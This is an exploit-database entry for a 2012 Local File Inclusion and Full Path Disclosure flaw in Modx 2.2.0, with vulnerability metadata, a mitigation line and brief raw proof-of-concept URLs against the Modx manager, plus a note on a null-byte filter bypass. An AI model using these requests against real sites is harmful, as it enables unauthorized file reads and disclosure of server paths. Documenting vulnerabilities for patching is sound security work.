header-logo
Suggest Exploit
vendor:
Modx
by:
n0tch aka andmuchmore
7,5
CVSS
HIGH
Local File Inclusion and Full Path Disclosure
22
CWE
Product Name: Modx
Affected Version From: 2.2.0
Affected Version To: 2.2.0pl2
Patch Exists: YES
Related CWE: N/A
CPE: a:modx:modx:2.2.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP, Windows 7, Ubuntu
2012

Modx 2.2.0 LFI and Full Path Disclosure

Modx 2.2.0 is vulnerable to Local File Inclusion and Full Path Disclosure. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable server. The filter added in 2.2.0pl2 can be bypassed by using a null byte (%00) at the end of the URL. This vulnerability can be used to gain access to sensitive information and execute malicious code on the vulnerable server.

Mitigation:

Upgrade to the latest version of Modx
Source

Exploit-DB raw data:

# Exploit Title: Modx 2.2.0 LFI and Full Path Disclosure
# Google Dork: [if relevant]  (we will automatically add these to the GHDB)
# Date: 13/03/2012
# Author: n0tch aka andmuchmore
# Software Link: http://modx.com/download/
# Version: 2.2.0
# Tested on:  Windows XP/ Windows 7 / Ubuntu


+[-- LFI --]+

http://localhost/cms/manager/?a=55&class_key=

** Filter added in 2.2.0pl2 **


+[-- FPD --]+

http://localhost/cms/manager/?a=55&class_key=somefilethatdoesntexsist

+[-- Shoutz --]+

All the belegit crew..

Navigation

Suggest Exploit

Services By CQR